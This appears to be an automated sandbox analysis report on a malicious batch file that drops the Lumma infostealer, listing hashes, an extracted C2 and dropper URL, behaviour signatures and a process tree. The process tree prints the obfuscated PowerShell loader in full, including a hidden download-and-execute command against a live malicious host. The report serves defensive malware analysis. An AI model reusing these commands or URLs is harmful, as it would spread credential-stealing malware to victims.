Analysis

  • max time kernel
    95s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-01-2025 00:36

General

  • Target

    initial_d.bat

  • Size

    838B

  • MD5

    b8c74b6c596351ca5bd46c0bb6e98dfd

  • SHA1

    6cb4b41a78059c30be91f2464bf790244a1c99d7

  • SHA256

    babe2715fa636ffaf699ed8176d8ca007b94defdc2ed41fb138803c8847094f4

  • SHA512

    22b256cb20232d00c9e2085a6d54404f3a2a2167931a637e4880054ac75605d15c38f004a69038e70366bd145c755aafef2047b79c7ab72e61566364a1df9610

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://s7.klipdywoziy.shop/hukk7.jpeg

Extracted

Family

lumma

C2

https://hoppricerwir.cyou/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3500
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\initial_d.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1048
        • C:\Windows\system32\cmd.exe
          cmd.exe /k start powershell -w 1 powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1476
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -w 1 powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1684
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1432
              • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"
                6⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4400
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"
        2⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        PID:5056

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      77d622bb1a5b250869a3238b9bc1402b

      SHA1

      d47f4003c2554b9dfc4c16f22460b331886b191b

      SHA256

      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

      SHA512

      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oe0ar5t3.jez.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1432-22-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

      Filesize

      10.8MB

    • memory/1432-23-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

      Filesize

      10.8MB

    • memory/1432-24-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

      Filesize

      10.8MB

    • memory/1432-27-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

      Filesize

      10.8MB

    • memory/1684-0-0x00007FFCA5843000-0x00007FFCA5845000-memory.dmp

      Filesize

      8KB

    • memory/1684-7-0x0000021AE1D10000-0x0000021AE1D32000-memory.dmp

      Filesize

      136KB

    • memory/1684-11-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

      Filesize

      10.8MB

    • memory/1684-12-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

      Filesize

      10.8MB

    • memory/1684-31-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

      Filesize

      10.8MB

    • memory/4400-63-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-91-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-34-0x00000000054F0000-0x0000000005512000-memory.dmp

      Filesize

      136KB

    • memory/4400-35-0x0000000005590000-0x00000000055F6000-memory.dmp

      Filesize

      408KB

    • memory/4400-36-0x0000000005600000-0x0000000005666000-memory.dmp

      Filesize

      408KB

    • memory/4400-42-0x0000000005EB0000-0x0000000006204000-memory.dmp

      Filesize

      3.3MB

    • memory/4400-48-0x0000000006570000-0x000000000658E000-memory.dmp

      Filesize

      120KB

    • memory/4400-49-0x0000000006AB0000-0x0000000006AFC000-memory.dmp

      Filesize

      304KB

    • memory/4400-50-0x0000000007B40000-0x00000000081BA000-memory.dmp

      Filesize

      6.5MB

    • memory/4400-51-0x0000000006A00000-0x0000000006A1A000-memory.dmp

      Filesize

      104KB

    • memory/4400-53-0x00000000749F0000-0x00000000751A0000-memory.dmp

      Filesize

      7.7MB

    • memory/4400-54-0x0000000029350000-0x00000000294A8000-memory.dmp

      Filesize

      1.3MB

    • memory/4400-55-0x00000000294B0000-0x00000000295E0000-memory.dmp

      Filesize

      1.2MB

    • memory/4400-56-0x00000000295E0000-0x0000000029708000-memory.dmp

      Filesize

      1.2MB

    • memory/4400-57-0x0000000029710000-0x0000000029838000-memory.dmp

      Filesize

      1.2MB

    • memory/4400-58-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-67-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-73-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-71-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-65-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-32-0x0000000002B80000-0x0000000002BB6000-memory.dmp

      Filesize

      216KB

    • memory/4400-61-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-59-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-69-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-83-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-33-0x0000000005780000-0x0000000005DA8000-memory.dmp

      Filesize

      6.2MB

    • memory/4400-115-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-119-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-113-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-111-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-109-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-107-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-105-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-103-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-101-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-99-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-95-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-93-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-89-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-87-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-85-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-81-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-117-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-77-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-97-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-79-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-75-0x0000000029710000-0x0000000029832000-memory.dmp

      Filesize

      1.1MB

    • memory/4400-1380-0x0000000006210000-0x0000000006292000-memory.dmp

      Filesize

      520KB

    • memory/4400-1381-0x00000000066C0000-0x0000000006740000-memory.dmp

      Filesize

      512KB

    • memory/4400-1382-0x0000000007AF0000-0x0000000007B3C000-memory.dmp

      Filesize

      304KB

    • memory/4400-1384-0x000000002A220000-0x000000002A7C4000-memory.dmp

      Filesize

      5.6MB

    • memory/4400-1385-0x0000000029880000-0x00000000298D4000-memory.dmp

      Filesize

      336KB